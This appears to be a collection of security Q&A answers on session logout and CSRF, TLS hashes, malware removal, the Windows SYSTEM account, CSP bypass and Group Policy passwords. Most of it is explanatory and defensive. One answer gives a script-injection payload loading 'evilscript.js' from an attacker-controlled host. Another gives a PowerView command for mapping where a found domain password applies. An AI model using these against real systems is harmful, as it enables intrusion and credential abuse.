Since the network is inherently untrusted, there is one big obvious THREAT: Session cookie theft. It is possible that your session was hijacked, and someone - either someone else on the network, or the hotspot itself - stole your session cookie. Of course, if this was the case, you wouldn't know, but then you may not be able to really log out either (if it is a malicious network or MITM, they have control of your entire connection - they might simply drop your logout request).

That said, 3rd party theft of just your session cookie IS a valid threat (e.g. FireSheep), and explicit logging out prevents unlimited use. (Basically the damage may have been done already, but this stops it from continuing.)

Even better would be to go to a trusted network, login, and explicitly log back out, just in case the MITM blocked your logout. Better yet is to change your password on the trusted site... But best to never access a non-trivial, sensitive site from an untrusted network.
If you're using All-day applications: STAY LOGGED IN.
For services you use all day and want quick/easy access to, e.g. Facebook, email, etc - IF this is your own private (or work) computer on a trusted network, it is a sensible trade-off to leave your browser logged in long-term.

THREAT: Malicious bystander

Lock your computer any time you step away, even to get a cup of coffee. Or lock your office, if you have a physical door that noone else can get through. (Or have a home office, wheee!) Periodically log out and back in. Monitor any posts "you" make.

THREAT: Other sites can register that you are logged in (e.g. to show you that important "Like" icon from Facebook). This is part of the trade-off that applies, while there are wider implications that are out of scope for this answer.
If you are using Any application that uses HTTP Basic Authentication (e.g. many routers): LOG OUT, AND CLOSE ALL BROWSER WINDOWS. Here is where it gets interesting, and this applies to the next section too.

When you log in to a webapp using Basic AuthN, the browser caches your password, and sends it on every request. The browser's BasicAuth mechanism has no concept of session. Even if you repeatedly logout, the webapp does not - neither serverside nor clientside - have any way of "killing" the session. The only way to clear those cached credentials, is to kill the browser process.

HOWEVER. Your choice of browser matters for this concept of "browser process". E.g.:

Firefox: Always a single process, no matter how many tabs and windows you open.
Chrome: Each tab is a separate process. However, there is another, "global", parent process. All the tab processes are child processes of this one (aka "job process" in Windows parlance), and they all share process memory through the parent. This is also true if you open a new window. So while Chrome's ample use of child processes with shared parent make its tabs particularly lively and robust, the downside is sharing process state. In other words, the only way to remove cached BasicAuth credentials from Chrome is to close all Chrome windows, every last one. Closing the tab alone will not help.
IE: tab/process model is identical (or similar) to Chrome... with one exception. By default, IE also opens all tabs in a child of the parent process. (Actually, this is not 100% accurate - some tabs share a child process with other tabs - but this doesnt matter in reality). However, if you add "-NoFrameMerging" to the IE commandline, it will create a completely new IE parent process. The difference here is that you can e.g. create a new parent window just to login to your router, and then close just that window when you are done. This clears your BasicAuth cache, without touching any other open IE windows. (Side note: it is actually possible to do this with Chrome too! It is a lot more involved, though, and requires you to create another browser profile on your machine.)

If you are using Sensitive applications, e.g. banking apps - ALWAYS EXPLICITLY LOG OUT, AND CLOSE ALL BROWSER WINDOWS. This part is a little more complicated, but a lot of the dependencies were already covered above.

THREAT: Malicious bystander Locking your computer, as above, would make sense, however there is no need for the trade-off from before. Just log out.

Session Timeout: In addition, most sensitive (e.g. banking) apps should implement some form of automatic idle timeout, so if you go out for the afternoon your session will automatically die at some point. This might not help with this threat, since the malicious bystander may just hop on your computer if you step out for 4 1/2 minutes to refill your coffee.

THREAT: Session cookie theft

Hopefully, sensitive apps are actively preventing this, with e.g. HTTPS, IDS, geo/fraud detection, etc. That said, it still makes sense to close that "window of opportunity", just in case - defense in depth, and all that.

Session Timeout: As before, most sensitive (e.g. banking) apps should implement some form of automatic idle timeout, and will help minimize this threat too. However, even if you do know for a fact that this app does implement idle timeouts correctly, there is still a window of opportunity for the attacker. That said, in a relatively-secure app this is not much of a threat.

THREAT: Cross Site Request Forgery (CSRF)

This is the one you need to worry about.

Say you are logged in to your bank. In the same window, in a different tab, you are browsing some dubious website. While viewing this website, it might be surreptitiously testing various well-known banksites, to see if you happen to be logged in to one of them. If you are, it will mount the CSRF attack (not all bank sites are vulnerable to this, but many still are). CSRF'd!

Okay. Now say you are smarter than that other guy, and dont browse suspicious sites the same time your banksite is open. So, after you finish on your bank, you carefully close the tab. Only then do you open a new tab to browse to the dodgy site. Well, problem is, you are still logged in, and will be for a while (typically around 30 minutes, but it could be as little as 10 or as much as an hour...). CSRF'd!.

(Note that the session timeout here does help, by shortening the window of opportunity, but there is still a chance of this happening within the window).

Hmm. Well, I know, let's open a new browser window! Use that for bank work, then again CLOSE the tab, and again open a new one for the malware sites I like to play with. Whoops, see the above section on Basic Authentication - your choice of browser matters.

Unless you're using "incognito/private browsing", or the "-NoFrameMerging" flag for IE, you are still in the same process family, and this still-open session will be shared between all your windows, at least until the server hits the idle timeout. Assuming it hasn't already been co-opted. CSRF'd!

Okay, one more, just one. I read this overly long post somewhere, about how I always need to logout from my sensitive apps - so I do just that, before popping on to my criminal sites. Unfortunately, the application "forgot" to do a proper logout, it just redirects me out of the application (or erases my cookie, or...) instead of invalidating it on the server... CSRF'd!

So, TL;DR?

  If you care about your account on this site: LOG OUT.
  If you care about your account, and it uses Basic Authentication: LOG OUT AND CLOSE ALL BROWSER TABS AND WINDOWS.
  If you don't care about your account - it doesn't matter what you do, so stop asking :-).

P.S. I did not cover things like Flash cookies, non-http sessions, and Integrated Windows Authentication. Enough is enough.


Passing an encrypted value in Java Spring REST API query string

Assuming that the risk could be a MiTM attack between your Spring client and the REST service, it doesn't necessary matter whether it's in a query string or POST body.  A query string would get cached (in a browser, proxy server, ...) which could lead to disclosure; but all in all I would encourage using end to end encryption.

If you Spring client ensures that it's talking to the right REST service (cert validation, pinning, ...) - then you can send "secrets" over that connection with a reasonable assurance of confidentiality and integrity.

Additionally, I don't know what your "encrypted" value is, if it's encrypted with a shared key, then someone could spend enough resources/time to reverse engineer it and get the secret.  If you're sending secret data; try to stay away from custom implementations; an end-to-end SSL/TLS tunnel has been proven very robust.


How do I escalate a security concern of a library when the author doesn't seem to care

The author obviously does not consider their project a priority anymore. That's not uncommon. There are too many interesting problems in the world and too little time to solve them all, so projects tend to become abandoned. This includes projects with known security problems. All you can do is make people aware that this piece of software is insecure.

Report the vulnerabilities to the NIST Vulnerability Database.
Does the project have a public bugtracker? Then you should report the security vulnerabilities as bugs. People who evaluate open source software they consider using usually check the bugtracker to get an impression of how well maintained it is. Multiple open bugs regarding critical security flaws will usually be a huge red flag.
Contact dependent projects directly that the library they are using has serious flaws they might not be aware of.

When you feel altruistic, you could fix the problems yourself. Send in a patch or do a pull request when it's on GitHub. When the author completely lost interest, you might want to suggest to take it from them and become the official maintainer. When the author is completely uncooperative, you could start a fork.


Can NSEC domain enumeration happen for zones with wildcard records?

They should still be vulnerable, since the wildcard record is signed as literally "*". The details of how wildcard results are handled are covered in RFC 2535 (DNSSEC), RFC 3845 (NSEC RDATA format), and RFC 5155 (NSEC3 hashed responses).

This simple description was helpful to me in understanding how a wildcard response can be proven: "The receiving nameserver can derive from this that the record 'www.example.com' was synthesised from '*.example.com', and check the signature accordingly."

It is possible that some tools and scripts designed to conduct NSEC-walking would fail in the case of wildcard responses, but this would not prove that the attack is not still possible.


Why don't the majority of today's malware use strong cryptography?

It seems surprising because crypto libraries are available on all (major) platforms. But it sounds often simpler than it is. For example accessing the Crypto API on Windows takes a lot of additional code to do it properly.

But the amount of malware authors being very familiar with cryptography is rather small. Therefore they tend to focus on functionality like propagation, hiding techniques or data collection instead. Crypto is often just “nice to have“.

Furthermore adding solid crypto mechanisms would increase complexity and detectability of a malware. Simple and small solutions are preferred. Adding crypto is an huge source for errors limiting the success of the malware tasks.


Disclaimer: I'm far from expert on SELinux or AppArmor, so you'll need to check everything I say for yourself.

I think there's a way to make SELinux and IPTables work together.  SELinux can label packets with a tag that indicates the SELinux context/origin/provenance that applies to the packet.  You can then write IPTables rules that inspect this tag to apply a different firewall policy depending upon the value of this tag.  This seems like one potential way to perform finer-grained control, e.g., to enforce that a particular application can only talk to a certain port number or protocol.  References: making SELinux and IPTables talk to each other, an article on this and the corresponding discussion on LWN, and background on secmark, the packet marking subsystem.

For AppArmor, as far as I know this is not currently supported.  There is a bug tracker entry requesting this feature.

I believe Systrace already has support for this kind of finer-grained control, built-in.


The good news is that it's possible it was logged somewhere on the system. I'd recommend searching all system logs you can during that time period for domain names, while excluding your domain from the search with grep or another similar tool. Here is a suggested starting point for a domain name regex if you're not familiar with them off-hand. I know that I'm not and always have to reference them: https://stackoverflow.com/questions/21172095/grep-valid-domain-regex .

Now for the bad news. If the system is compromised, the local logs could be tampered with or destroyed by an attacker. Also, there is a good chance that there is no record whatsoever on the system and never was. I'd suggest ensuring you have centralized logging if you don't already. Even if you do, I'd suggest reviewing your configuration to ensure you're capturing all the logs you expect. Also, I highly recommend you configure your services to connect through proxies or other mechanisms which log their connections.


Mostly(?) duplicate of What's the hash for in ECDHE-RSA-AES-GCM-SHA?

TLSv1.2 adds a new class of ciphers using AEAD modes such as GCM, which is a single crypto operation that does both encryption and integrity protection, instead of having separate encryption and HMAC e.g. AES128-CBC plus HMAC-SHA1. Mac=AEAD means really no HMAC is needed because of AEAD. However, TLSv1.2 also changes the PRF (key derivation) to use varying SHA-2 hashes (instead of always SHA-1 and MD5) so the hash is still specified in the ciphersuite.


I uploaded the file to virustotal.com and found these results.  The sha256 hash of this file is: 624daa053ff589285a939b1b4d8e28af8876581ba05e45a0decbca2a3783a1df.

One of the scanners found "Win32.SuspectCrc" which appears to be a trojan.  And another scanner had found "a variant of Win32/Toolbar.MyWebSearch.S" which appears to be adware.

We probably don't need to look any further into this as these are a good indication of bad software.  There is a potential that these results are a false positive.

It looks like a software which includes a bunch of adware to make money and sell statistics.  Maybe not harmful, but you probably want to make sure you remove it.


What's the hash for in ECDHE-RSA-AES-GCM-SHA?

For SSL, there is SSL 3.0, TLS 1.0, TLS 1.1 and TLS 1.2.

In SSL 3.0, an internal Pseudorandom Function (PRF) is used to extend the shared secret (obtained from the key exchange mechanism) into symmetric keys for the subsequent symmetric encryption. This PRF always uses both MD5 and SHA-1.

In TLS 1.0 and TLS 1.1, the PRF is replaced by a new construction, which still uses both MD5 and SHA-1, in an arguably "better" way (cryptographically speaking).

MD5 and SHA-1 are also used in SSL 3.0, TLS 1.0 and TLS 1.1 to compute the signatures in the handshake (a signature from the client when using certificate-based client authentication, a signature from the server when using a DHE cipher suite); that which is signed will be hashed with either SHA-1 (for DSA/ECDSA) or with both MD5 and SHA-1 (for RSA).

Also, exchanged handshake messages are hashed, again with both MD5 and SHA-1, to compute the Finished messages which conclude the handshake; in the case of SSL 3.0, the two hashes are used "as is", while with TLS 1.0 and 1.1, an extra PRF invocation is involved.

Beyond the handshake, the application data will be encrypted with some symmetric algorithm with an integrity check and that integrity check will normally use HMAC (in the case of SSL 3.0, a HMAC-derivative) which will be based on a hash function specified in the negotiated cipher suite. Cipher suites which end with "MD5" use MD5 at that point, while cipher suites which end with "SHA" use SHA-1.

With TLS 1.2, things change. The PRF and is still there, but uses only one hash function, and that hash function is the one negotiated in the cipher suite. The same hash function will be used to hash the handshake messages for the Finished message (by the way, that's cumbersome for embedded RAM-starved implementations, because implementations must then either buffer the ClientHello and the start of the ServerHello, or start a bunch of hash functions, because the hash function which will be used is not known until the ServerHello is parsed). When the cipher suite ends with "MD5", the hash function is MD5. When it ends with "SHA", that's SHA-1. When it ends with "SHA256", that's SHA-256.

When GCM is used, there is no per-record HMAC; integrity is obtained from the GCM mode itself. So the hash function specified in the cipher suite is used only for the PRF and other handshake-related usages.

Now the tricky point: there is no standard GCM cipher suite for TLS before TLS 1.2. GCM cipher suites for TLS begin with RFC 5288; others are defined in RFC 5289 and some subsequent RFC. All currently defined cipher suites are published in the IANA registry. All the GCM cipher suites are for TLS 1.2+ only, and, moreover, they all use either SHA-256 and SHA-384, not SHA-1. Correspondingly, as of July 2013, there is no standard way to use both SHA-1 and GCM in TLS. If you want GCM (with AES or some other algorithm), you will need TLS 1.2, and the hash function (for handshake purposes) will be SHA-256 or SHA-384. Presumably, cipher suites with SHA-512 may be defined as well, but this has not occurred yet.

Of course, every rule has exceptions. Public keys, in SSL, are exchanged through X.509 certificates, which are complex objects using a lot of cryptography, and you will often find some SHA-1 or even MD5 lurking there. But that's mostly out of scope for TLS, and, in particular, is not impacted by the negotiated cipher suite. Theoretically, client and server may/should negotiate supported hash functions for that, but in practice the server will send the certificate it has obtained from its CA, and has little choice in the matter.

For SSH, the algorithms are negotiated independently of each other; there is no real notion of an all-encompassing cipher suite. See RFC 4253, section 7.1. RFC 5647 defines use of AES/GCM with SSH, but does not care about the hash function which will be used internally; of course, there will be no hash-based MAC for bulk data encryption if GCM is used (that's the point of GCM: it comes with its own MAC), but a hash function is still used internally for, at least, key derivation (similarly to what is called the "PRF" in SSL).

RFC 6239 is more thorough in that it tries to define sets of algorithms for SSH, following the so-called NSA Suite B. This means elliptic-curve Diffie-Hellman ("ECDHE" in SSL terminology: with SSH, the key exchange always uses "ephemeral keys"), AES/GCM... and SHA-256 or SHA-384, not SHA-1. Also, when strictly following RFC 6239, the SSH server public key (the permanent one, used for signatures) should use ECDSA, not RSA.

So you can, at least theoretically, used SSH with ECDHE, RSA signatures, AES/GCM and SHA-1, but when you use GCM you are encouraged to also switch to SHA-256 or SHA-384. What SSH implementations actually do is prone to depend on the exact software version, compilation options and local configuration, and needs testing.


How can I choose a good API/Security Provider to implement AES on a production system?

Getting Started

First, before you dive into the world of Crypto-Libraries, you need to understand the abilities of your development team. Do you have developers or do you have power-users with sudo development knowledge?

This is important because it likely determines the ability for a person understand an API's purpose, vs implementing it and crossing your fingers.

Crypto-Modules

If you want the Shortest Answer, find one that is FIPS PUB 140-2 compliant. If you not familiar, its basically the government standard for Crypto-modules. I'd minimally suggest looking at the Wiki and get a general understanding of the standard.

Most Crypto Libraries worth there implementation are at least Level 1 Certificated. A list of them can be found here.

High Level vs Low Level Interfaces

When people say don't role your own Cryptography, they tend to mean, don't reinvent the proverbial wheel. I.E Don't build your own libraries based on what you think the algorithms should be. (Stick with FIPS)Since we established that your not going to do this (right?) than the question is how do you best use these tools.

Some Libraries give you an interface for the low level functions, like Java's Cryptography Extensions (JCE). These libraries have all the algorithms and and Object needed for Cryptography, but will probably require a developer to abstract away those function in most cases.

Some libraries offer a high level interface, such as OpenSSL, which abstracts away a lot of low level work and you just make the calls. Many may argue that you should uses this, however, as many developers experienced by using OpenSSL libraries willy-nilly, if you don't know what your using at the Highest level, you can end up digging to find out if your vulnerable.

There is also Cryptography As A Service. Personally, I don't have much knowledge on them. They usually offer an API (such as REST) for you to send your Cryptographic needs too.


Antivirus, antimalware and antispyware software. What is the difference?

I don't think this is the definitive definition of them, however I would say the difference:

Antivirus searches for 100's of signatures of well-known viruses, regardless of what file they're in.
Antimalware searches for lists of known evil programs. (Perhaps there are smarter products that actually search for programs that do bad stuff, I'm not familiar).
Anti-spyware I think searches for registry keys, 3rd party cookies, and other tracking devices.
Also should mention anti-rootkit, these search specifically for malware that is designed to hide from the operating system (and thus standard anti-malware).

As you said though, not sure any clear distinction still exists, since most of the vendors are effectively packaging the different scanning engines in single product or suite.


Java SE 8, Update 51 Added "Native Sandbox" Protection for Windows PCs. Wait, what?

Since you sound like a Java developer then you know that Java code can modify system level things. If an applet is malicious they take advantage of this fact to try and gain access to the client system. This sort of attack is hard to stop because by the time the applet runs, it's already to late. This native sandbox is another level of protection provided by the Windows OS that makes it so that if an applet breaks out of a browser, it shouldn't be able to do anything bad since it's inside a sandbox. If it is designed to interact with the system and it gets approved to do so even if a sandbox is set, then it will be able to since then the applet would be one allowed to do this by the Exception Site List or the run time environment's Deployment Rule Set. So you could run applets in the sandbox by default with this setting just to make sure you're extra protected until Oracle decides to turn it on for everybody, but be aware that if you do this some of the ones that need to interact with the system won't work unless they get approved or you tell it to allow them too.

Disabling it by default will allow legacy applets to update and (take advantage of/prepare for) it before it gets enabled by default if Oracle chooses to do that, or if a security over conscious user wants to use a "dangerous" applet, they can do so with confidence that it won't(hopefully) ruin their system.

Currently many applets probably aren't on the ESL or many environments aren't setup to use the DRS, so by setting it disabled by default they can make sure that it won't break anything(yet). Another reason may be that this option isn't entirely supported by Windows yet, and they have their part done and Windows just needs to catch up now or they are still ironing out the details before flipping the switch. There are still many more reasons that setting it by default right now makes sense, but we won't know until they say more. My guess is they have it set off until the ESL is large enough that they feel safe in setting it on without the people who won't read patch notes asking a flood of questions about why so and so no longer works on such and such website.

Edit:
After a bit more digging it turns out that the windows 10 sandbox exists already for windows store applications, info here and here, that can now be used by Java applets when correctly written and setup without problem. So it will be in the App-V sandbox used by windows store applications and newer desktop applications on Windows 10 since that seems to be the new default Windows Sandbox.


Salvage data you wish to keep (but keep in mind something may be infected so analyse backup later), format hard drive, reinstall the OS.

It's the only way.


What was the real-world cost of computing the SHAttered collision?

Here's the estimates, as quoted by Ars Technica

  The first phase of the attack was run on a heterogeneous CPU cluster that was hosted by Google and spread over eight physical locations. A second and more expensive phase was run on a heterogeneous cluster of K20, K40, and K80 GPUs that were also hosted by Google. Had the researchers performed their attack on Amazon's Web Services platform, it would have cost $560,000 at normal pricing. Had the researchers been patient and waited to run their attack during off-peak hours, the same collision would have cost $110,000. That's within the $75,000 to $120,000 range CWI's Stevens projected in late 2015.


How do I remove disorderstatus.ru virus? Prevent reinfection? Make sure there is no (BIOS) rootkit left?

Nuke from Orbit (TM)
Replace your non-hardware. Wipe and reinstall everything. That takes care of any software rootkits.
Use general good infosec hygiene to prevent reinfection. (E.g. install updates, only install from trusted sources, run antivirus. Air gap your network if you have to.)
(Hardware) rootkits: don't worry.
The short answer is: these tailor-made hardware rootkits are too expensive to waste on you or the general population.
Also: to defend from these type of attacks is ALSO very expensive and cumbersome. I recommend you spend your infosec budget elsewhere first.
General musings
Hardware rootkits are high-tech, nation state espionage, spy stuff.
They are valuable to the attacker. To continue working, they must be used sparingly. Each use of these has risk of detection for the attacker. Now this means: No shotgun style "hit everyone" attacks. But very specific, direct targeted attacks.
If you are a target valuable enough to justify using one of these things on you, then I'm assuming that you will have to replace your hardware as well.
If for example you are working in nuclear research. I'm thinking Stuxnet like attacks on Iran nuclear installations here. This probably isn't you.
Further reading:

Wikipedia: Rootkit, section Firmware and
hardware

Addendum: Non-tailor-made hardware rootkits.

"WPBT" sounds scary. No idea if it can be subverted.
Ars Technica: Lenovo used Windows anti-theft feature to install persistent crapware (Archived here.)
There is a leaked hardware rootkit from the Hacking Team hack. It's out in the public now. So this could be used by anyone. And not just spy agencies. But: it requires physical access to the computer.
Trend Micro: Hacking Team Uses UEFI BIOS Rootkit to Keep RCS 9 Agent in Target Systems (Archived here.)


What does "Change your password everywhere else" e-mail from compromised service mean?

No, this is standard practice and a liability limitation attempt by lawyers.  It is entirely possible for someone to reverse a weak password even from properly hashed and salted values if they feel like spending the time.  Salts make it slower, but they don't prevent it from breaking on weak passwords.

If your password gets compromised, they don't want to be liable when the hacker logs in to your bank account and clears out your life savings, so they suggest changing any accounts that shared the username and password.

Personally, I generally don't worry too much about this notification as long as you have a secure password that can't be easily brute forced, but the message verbiage is par for the course.


The SYSTEM account is a pseudo-account similar, but not identical, to root on Linux. The two primary differences are that (a) the SYSTEM account is a service account, and therefore does not have a user profile, and (b) the Windows permissions model still enforces ACLs such that objects can exist which SYSTEM cannot directly access (though it can still grant a privilege to a token and gain access that way).

The SYSTEM account is the highest privilege level in the Windows user model. It exists to provide ownership to objects that are created before a normal user logs on, such as the Local Security Authority Subsystem (LSASS) and the Session Management Subsystem (SMSS).

To answer your questions directly:

  The account is not recognised by security subsystem what does it mean?

It is recognised by the security subsystem, but it doesn't strictly exist as a user. It's a principle rather than a user. This concept is a little confusing, but think of it this way: the computer itself isn't a user, so if you were to give the computer itself a user account, is it still really a user?

  I want to Know if this account has a profile name on windows 7,8,8.1 etc

No, it doesn't have a profile. This goes for other service accounts too, such as LOCAL SERVICE and NETWORK SERVICE. The special case for local service accounts (including SYSTEM) is that they don't exist outside the machine they are attached to, so they are not part of the domain. You can have domain service accounts, but these exist as part of AD rather than accounts on a machine.

  why can't we login into that account,why is the account not associated with any logged in user account?

The SYSTEM account is a service account, not a user account. It has no user profile associated with it, so you can't log in with it. It's simply there to facilitate the operation of the system above the user level. For example, services associated with drivers need to run at boot time, before the user logs in, so they run as SYSTEM in order to get the process to execute on boot and have the necessary privileges to communicate with drivers (usually via IRPs).

  if we do anything under SYSTEM account like rename a file is it logged in event manager

Not any more so than any other account. You can indeed enable auditing and other logging as part of your filesystem auditing features or as part of the local (or group) security policy, but this goes for any other account too.

  Does this account has a password? or username?

The username is just SYSTEM. The question as to whether it has a password or not is complicated. The simple answer is no, but that doesn't tell the full story. It has something called evidence, which is a term used in the Windows security model to mean any form of identifying data that proves you are who you say you are. This isn't as clear-cut as just passwords or certificates, but extends to things like security tokens attached to threads or processes. As such, it doesn't have a password in the sense that you could type something in and log into it, but it does have evidence that proves it is the SYSTEM account in order to prevent a local process from impersonating it.

  Almost Everyone knows that we can run windows explorer under SYSTEM account and explore the SYSTEM profile but when i did it i often have difficulty like deleting ,renaming etc why?

The important thing to remember here is that a process can run as SYSTEM but still have handles to objects that exist under a different session. Keep in mind that sessions aren't the same as users - they're container objects that are instantiated for users when they log on. By default, services run under the null session, which you can't see. When you run Explorer as SYSTEM under your own session, its window handles exist in the current session that you're logged into, but are owned by SYSTEM. The important distinction is that you don't own that process or its handles, but you own the session under which the window exists.

As for why you had trouble with deleting and renaming, I'm not sure. I've not tried running explorer as SYSTEM in 8.1, but back in XP and Win7 it worked just fine. I'd suggest trying cmd or something similar rather than Explorer.

My advice would be to read the security model sections of the Windows Internals book by Mark Russinovich, which has really in-depth explanations about how all this works.


How to decrypt a file when I have its key?

The quick answer is NO, you can not.
A detailed answer: On this official documentation, you can read:

  When only the key is specified using the -K option, the IV must
  explicitly be defined. When a password is being specified using one of
  the other options, the IV is generated from this password.

IV stands for Initialization Vector. You can understand quickly how it is used with the combination of the key within CBC algorithm as shown on this figure:


Securing a private API that's visible on the public Internet

Quick answer - its not at all adequate to secure your API. Each of those steps has weaknesses which putting them together has not fixed. Good crypto is hard, and try very hard not to reinvent the wheel.

Https - will prevent the exact calls being visible in transit. But not at the user end, or to a "man in the middle" attack.

Hide a number  - look up "security by obscurity". Tl;Dr do not rely on this. Ever.

Pass a token good for an hour - looks open to every form of authentication stealing and interception on the planet. How do you know that the token isn't being misused or used by anything except the intended client? You don't.


If PCI DSS isn't a law, how can I be prosecuted for not being compliant?

First, IANAL. Secondly, this is entirely dependant on your local laws and regulations.

PCI-DSS is a guideline, but adherence to the guideline may be a requirement as part of certain laws. I'm not aware of any countries that do this, but in such a case you could be prosecuted if you violate a law that makes PCI-DSS adherence mandatory.

The more common case is not prosecution, but rather a civil suit. PCI-DSS is commonly a requirement as part of a contract between a merchant and a payment provider or bank, as part of their payment processing services contract. Violation of PCI-DSS results in a breach of contract, which allows them to sue you. Penalties and other terms are usually stated in such contracts.


Single domain SSL certificates, actually support 2 subdomains?

I have seen it too -- my own server uses such a certificate, with two names in it: example.com and www.example.com.

The notion of "domain certificate" is not technical; it is a marketing term. From the technical point of view, an X.509 certificate contains a Subject Alt Name extension which may contain zero, one, two... or really many names of type dNSName. It is up to each CA to decide what it sells and at which price.


Threat Modelling Application Decomposition

Your drawing above is kind of a mix of activities, states, and actors, but not of hardware systems or network interconnections.

I'd start by modeling the system, not the threats.  Perhaps consider creating a UML Communication Diagram showing each of the devices.  Then you can start filling in details how data flows from system to system, and how each is initially intended to be protected in whatever ways might make sense (TLS for traffic going over the internet, that kind of thing.)

After you've described how the system is intended to be built, then redraw your model in the Threat Modeling tool.  You can then wrap the car in a trust boundary, the bluetooth smartphone device in a different boundary, etc.  Your logical borders and your physical borders should start coming together much better then.

The Threat Modeling tool is intended to help analyze a system for security vulnerabilities, it is not really intended to help you initially create the design for a secure system.


The password may be wrong. You found it in a group policy, but the group policy might not actually apply to any machine, or at least not the machine you are testing it with. They could have changed the password or maybe they deployed LAPS since then.

You can try this (from PowerView) to find out to which computers the GPO applies:

# retrieve all the computer dns host names a GPP password applies to
Get-DomainOU -GPLink '<GPP_GUID>' | % {Get-DomainComputer -SearchBase $_.distinguishedname -Properties dnshostname}

https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993


Is it possible to bypass malformed Content Security Policy missing quotes?

I think that means the CSP will allow scripts from the domain none. So if you were able to inject the following tag, the CSP would allow it to run:
<script src="http://none/evilscript.js">

and as long as the victim's machine can resolve none to a DNS name / IP address, you're in business!
The hard part of course will be getting either the public DNS servers, or a local DNS server within the victim's network, to accept a DNS record for none mapping to an IP address that you control. In practice I suspect you won't be able to pull off the attack.


OK, as you say, you have a private/public pair key so I can send you encrypted e-mail, because I know your public key.

But how do I know your public key? Obviously, because you told me what it was, and if you told me over a secure channel - for example you wrote it on a piece of paper and handed it to me in private - then that's fine.

But if you emailed it to me over an insecure channel how can I know that Eve didn't intercept your email and replace your key with hers? Then Eve could read my encrypted email, because I'd have encrypted it with her key.

This is a real problem because if we've only got the Internet as our communications channel then by definition it's not secure to use for exchanging keys. It can't be, because we haven't exchanged keys yet.

One way round this is to involve a third party who we both trust. Let's call him Bob.

Bob has a lot of secure channels to people. He has one to me and so I know his public key. He has one to you, and Bob knows your public key.

What Bob can do is take your public key, and encrypt the message "Lance's public key is 18348273847473436" with his private key. He then gives that encrypted message to you. Bob has signed your key.

Now, if you want to send me your public key, you just send me the signed key over the insecure channel. I know it came from you, not Eve, because I can decrypt it with Bob's public key, and I trust Bob.

So, we've turned the problem of "Graham and Lance need a secure channel between them" into the problem of "Graham needs a secure channel to Bob" and "Lance needs a secure channel to Bob".

It doesn't sound like we've made things better, until you realise that now instead of worrying about arranging secure channels to D.W. and Lucas and Schroeder and Thomas and Rory and Graham and everyone else on the Internet, you just need to worry about getting a secure channel to Bob, once.


The most important thing to realize is that your server is compromised through and through. While the attacker may not have installed any rootkits or the like, you have no way of knowing. Your only options is to take the system offline and analyze it using an external source. The sooner the better, as otherwise you'll be trampling over any evidence yourself through normal use of the server.

So, essentially, take the server offline, take out the disk, clone it, wipe it down, use backups (if you have them!) to get a usable state back, then start to look at the data on the disk (remember to just examine the data - do not ever boot the system).

If you're lucky, you'll find traces of the attacker left in the web server logs or ftp logs. Depending on the level of access, you might also be able to find something in the auth logs. Obviously, check through any logs the system offers - maybe you'll get lucky.


Best guidance for allowing users to connect via HTTP in case of a certificate error

I've coded my app to use https, but if a https transaction fails for
any reason, I assume it's because the server isn't configured for
https, and thereafter start all transactions with http. Seems like
that's a vulnerability. Likewise, a script kiddie using a proxy to
intercept the traffic on his client hardware would be able to make all
https transactions fail.

Well, do you control the server or not ? It either is configured for https, or it is not. SSL could fail, but it's more likely that you will encounter other issues like the httpd service crashing for some reason, or the server being overloaded. The result is the same: interruption of service.

I'm told that if someone tries to MITM your app's HTTPS request then
the request should fail (invalid certificate) and your app should fail
with an error, not fallback to HTTP. In a world where SSL is reliably
available, sure, but maintaining valid SSL certs is a task in itself.

You should automate the deployment and renewal of certificates. Automate as much as you can, always. If the task is boring, that's one more reason to automate it.
But also make sure that your script will send an alert if the process goes wrong. Since you mentioned Let's encrypt they do provide some scripts if I'm not wrong.
If you have only one server and want to do it manually, at a minimum add the renewal date to your agenda. Don't wait until the last minute to renew your certificate.
If you chose to use https then you should stick to it and not devise workarounds to defeat your own security measures. If service availability is important you can improve redundancy by adding more servers/endpoints to your network architecture. Then your app can try another server if the chosen one is unavailable.
Downgrading the transport layer is not a good move and there are many more problems that could occur, that are not related to SSL. Your effort should be focused on making the service more resilient.
Suggestion: log webserver errors such as SSL negotiation failures (very likely that your webserver software already does that), then make sure critical errors are reported to you asap. Set up a log collector or something. Logs are useless if nobody is paying attention.

Allowing the site to continue to work if SSL has failed? Is it easy to
allow most activity to proceed using http, but allow known-critical
transactions to require https.

You could, but you have to segregate 'sensitive' traffic from casual traffic. That probably means adding some application logic. I don't see much value in it for the reasons described above.


Android Application - Credentials in RAM

No, you cannot mitigate this vulnerability without a major change in hardware. If your adversary has the ability to dump memory from arbitrary processes, there is no way to store credentials confidentially. On Intel's x86 CPUs, a feature called SGX can be used to create a secure enclave that can hide data even from the kernel, but that is not a feature that you have access to on typical Android hardware.

There are only a few places where data can be stored by a process. Typically, the data can be stored in memory (e.g. on the stack or in the heap), or in process registers. A rooted device running a malicious process with sufficient permissions will be able to access all of those locations. There is no way you can hide a session token. The reason is simple: The data needs to be retrievable by your process. Any data that your process can access, a malicious process with sufficient permissions can also access.

The only solution is to not allow any malicious processes to have high privileges.


It's not a safe way to verify you are the same person as the one who owns an account. It could be a relatively safe way to identify which account you (potentially) own if you have forgotten the username. (Or if your email address functions as your user name.)

If your IP address has only been used with one account recently, then the rep may be able to give you a hint like "The email address starts with an 'A' and ends in '...l@example.com". If they refuse to reset the password and refuse to change the email address, then I think you would be safe. (Or rather as safe as the email-based password reset system normally is. Ignoring the privacy breach that is revealing parts of your email address.)

But it definitely isn't enough to prove you are the account owner. Someone may observe you log in one time on a public WiFi network. They can determine which IP you had used if the network uses NAT. After connecting to the network themselves they will be able to use some website to tell them what external IP the public network is using.

Alternatively someone could identify your user name and send you a private message with some link. If you visit the website then your IP will appear in their server logs. If they have access to those logs then they can determine your address. Clicking the link might not even be required if, for example, the message is sent on a service that lets users post images hosted on any third party domain or if your web browser prefetches links automatically.


Lowest possible threshold for smartphone app login

Password security is a trade-off between usability and security. The more "complex" a password is (i.e. difficult for attackers to guess), the harder it gets for the user to remember and type it correctly. You can try to shift the balance a bit with some tricks, but you have to accept that if anybody can use the system without fumbling, then some passwords will be guessable.

Among the possible tricks to make passwords more secure while keeping them usable, you can try the following:

Enforce strict limitations on login rate. For a given user account, you shall not accept more than one login attempt per 10 seconds; possibly, increase this delay after each failure (but don't lock the account permanently, otherwise it becomes too easy to lock other people's accounts).
